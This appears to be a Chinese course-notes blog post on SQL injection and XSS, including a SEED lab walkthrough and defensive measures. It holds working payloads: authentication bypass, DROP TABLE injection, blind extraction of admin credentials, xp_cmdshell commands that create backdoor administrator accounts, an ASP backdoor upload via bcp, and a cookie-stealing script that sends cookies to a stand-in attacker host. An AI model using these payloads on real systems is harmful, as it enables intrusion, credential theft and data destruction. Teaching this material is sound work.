web应用程序安全攻防---sql注入和xss跨站脚本攻击
博文主要内容包括两种常见的web攻击
- sql注入
- XSS跨站脚本攻击
代码注入攻击
- 代码注入攻击
- Web应用程序的输入验证不完善漏洞
- 执行由攻击者所注入的恶意指令和代码
- 敏感信息泄露、权限提升或对系统的未授权访问
- 多样化的代码注入攻击类型
- SQL注入攻击:恶意读取、修改与操纵数据库;
- PHP注入或ASP注入攻击:植入和运行Webshell
- Shell注入攻击:恶意执行操作系统命令的;
- 其他多样化注入攻击: LDAP注入、邮件命令注入、 SSI
SQL注入攻击 (SQL Injection)
-
SQL注入攻击对Web应用程序的威胁,相当大部分Web应用程序使用后台数据库,动态产生内容
-
SQL注入攻击:利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。
-
SQL注入漏洞机制
- 用户输入没有被正确地过滤:转义字符(引号、反引号、双下划线、分号、 百分号)
- 没有进行严格类型检查:未判断输入是否预定类型
SQL注入攻击案例解析
inputusername = request.form("username")
inputpasswd = request.form("passwd")
set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;"
set rso = server.CreateObject("ADODB.RecordSet")
sql = "SELECT * FROM accounts WHERE username ='" & inputusername
& "' AND passwd = '" & inputpasswd & "'"
rso.Open sql, cn
if rso.eof then
response.write("login error: username or passwd incorrect")
else
response.write("login success")
end if
正常情况
- 用户名: guojing;口令: 123456
- 正常SQL: SELECT * from FROM accounts WHERE
username ='guojing' AND passwd = '123456'
攻击方法一
- 用户名/口令:
huangrong' OR '1'='1
- 注入SQL结果:
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1'
AND passwd = 'huangrong' OR '1'='1'
-
等价于: SELECT * from FROM accounts
-
后果:绕过了login.asp用户身份认证的正常逻辑,获得访问
攻击方法二
- 口令框输入:
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
- 注入SQL结果:
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts;
SELECT * FROM admin WHERE 't' = 't'
实际SQL注入攻击步骤
1. 发现SQL注入点
注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页
- 手工审查
- Google Hacking
注入点验证
- 整数型参数:
- “yyy'” (加单引号) : SQL错误
- “yyy and 1=1” :正常页面
- “yyy and 1=2” :空白页面
- 字符串参数
- “yyy'” (加单引号) : SQL错误
- “yyy' and '1'='1” : 正常页面
- “yyy' and '1'='2” : 空白页面
2. 判断后台数据库类型
- Web应用程序流行的后台数据库
- ASP: MS SQL Server/ACCESS
- PHP: MySQL
- 利用数据库服务器的系统变量进行判断
- MS SQL Server: user/db_name()
- MySQL: basedir、 …
- http://SITE/xxx.asp?some_rec=yyy and db_name()>0
- 利用数据库服务器的系统表进行判断
- ACCESS: msysobjects
- MS SQL Server: sysobjects
- MySQL: mysql
- http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
3. 利用SQL注入进行后台口令拆解
- 猜解后台口令表表名
- http://SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)>0
- 猜解字段名
- http://SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin) > 0
- 猜解字段值: 二分法逼近
- 字段长度:
- http://SITE/xxx.asp?some_rec = yyy and(select top1 len(username) from Admin)>[guessed_length]
- 字段值: 逐位猜解
- http://SITE/xxx.asp?some_rec = yyyand (select top1 asc(mid(username,N,1)) from Admin)>[guessed_ascii]
- 口令可能为MD5散列后的密文
- MD5Crac
4. 上传ASP后门,得到默认账户权限
后台管理界面
- 利用提供的上传/下载文件等功能上传ASP后门
Web服务器软件的默认账户权限
- 本地受限账户命令执行
- Web虚拟目录中文件上传/下载
利用MS SQL Server的BCP命令
- bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
5. 本地特权提升与利用数据库扩展存储过程
- 进一步本地权限提升
- 利用系统或某些特权应用服务(如Serv-U)安全漏洞
- 利用系统配置不当提升系统权限
- MS SQL Server等DBMS支持扩展存储过程
- xp_cmdshell, 需要sa帐户权限
- 通过SQL注入点执行相应的扩展存储过程
- 添加有本地系统管理员权限的后门用户帐号
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net user name password /add”
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net localgroup name administrators /add”
SQL注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- “限制、拒绝、净化”
- URLScan过滤器:丢弃符合给定规则的输入
- PHP v5.2.0: filter_input()与filter_var()
- 将动态SQL语句替换为存储过程、预编译SQL或ADO
命令对象 - 加强SQL数据库服务器的配置与连接
- 避免将敏感性数据(如口令)明文存放于数据库中
- 最小权限原则配置Web应用程序连接数据库的查询操作权限
- 实现一个不泄漏任何有价值信息的默认出错处理机制
实践
SEED Ubuntu镜像
-
环境配置
-
实验需要三样东西,
- Firefox、apache、phpBB2(镜像中已有):
- ①运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start
- ②phpBB2 web应用:镜像已经安装,通过http://www.sqllabmysqlphpbb.com访问,应用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
- ③配置DNS:上述的URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com指向本机IP 127.0.0.1。如果需要在其他机器访问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。
-
关闭对抗措施PHP提供了自动对抗SQL注入的机制,被称为magic quote,我们需要关闭它。
- 1.找到/etc/php5/apache2/php.ini
- 2.找到magic_quotes_gpc = On这一行
- 3.改为magic_quotes_gpc = Off
- 4.重启Apache:sudo service apache2 restart
- Note for Instructors最好拥有一些背景知识
- 1.使用虚拟机,Firefox的插件LiveHttpHeaders和Tamper Data
- 2.对SQL语句的一些了解
- 3.如何操作MySQL数据库
- 4.对PHP一些了解
实验过程及结果
对SELECT语句的攻击
此次任务,你需要通过访问虚拟机内的URL:www.sqllabmysqlphpbb.com。在进入phpBB之前系统会要求你登陆。这个登陆认证由服务器上的login.php实现,需要用户输入用户名和密码来通过认证。
去网上寻找了答案,答案的是在用户名输入ted'#,密码空着就行,ted是一个已经存在的用户名,用单引号结束这个字符串,用#转义掉后面的语句。
对UPDATE语句的攻击
- 当用户想要在phpBB2中修改他们的资料时,可以点击Profile,然后填写表单修改。
用户发送修改请求后,会执行include/usercp_register.php中的一条UPDATE SQL语句。在这条语句中同样有一个SQL注入漏洞,请用它来达到以下目标:在不知道其他人密码的情况下修改其资料。
-
提交后发现SQL语句的结构,根据分析语句结构,分析出注入漏洞在
-
查看Memberlist表单,发现id号
-
通过此漏洞即可通过更改id号更改信息,此处我们修改admin的信息
修改成功。
跨站脚本攻击(XSS: Cross-Site Scripting)
什么是跨站脚本? (Wikipedia)
- 跨站脚本是一种通常存在于Web应用程序中的安全
漏洞,使得攻击者可以将恶意的代码注入到网页中,
从而危害其他Web访问者。- 客户端脚本: Javascript, Flash ActionScript
等
- 客户端脚本: Javascript, Flash ActionScript
- 与代码注入攻击的比较
- 相似的漏洞根源: Web应用程序没有对非预期输入做全面有效检查和净化.
- 不同的最终攻击目标
- 代码注入: Web站点
- XSS:访问Web应用程序的其他用户
典型跨站脚本攻击
- 查看用户终端会话Cookie
- <script>alert(document.cookie)</script>
- 会话ID、甚至登录口令等敏感信息
- 窃取Cookie
- 攻击者控制网站: steal_cookie_example.com
- <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script>
- 网页挂马
- <iframe src="http://target_link" height=0 width=0></iframe>
- <script src = "http://target_link"></script>
跨站脚本攻击类型
- 持久性XSS: Persistent/stored
- 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上.
- 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害.
- 典型案例: 留言本/论坛/博客/wiki等。
- 非持久性XSS: Non-Persistent/reflected
- 用户输入产生XSS反馈给该用户,需结合社会工程学进行攻击
- DOM-based: 本地XSS, 如JS本地生成HTML页面中存在
XSS跨站脚本攻击防范措施
- 服务器端防范措施-“限制、拒绝、净化”
- 输入验证: 对用户提交数据进行尽可能严格的验证与过滤
- 输出净化: HTMLEncode()方法
- 消除危险的输入点
- 客户端防范措施
- 提高浏览器访问非受信网站时的安全等级
- 关闭Cookie功能,或设置Cookie只读(IE6SP1 HTTPonly cookie)
- 安全意识和浏览习惯->主流浏览器Chrome,Safari, Opera
实例
XSS实验相对SQL简单一些,答案也全,上两个结果截图。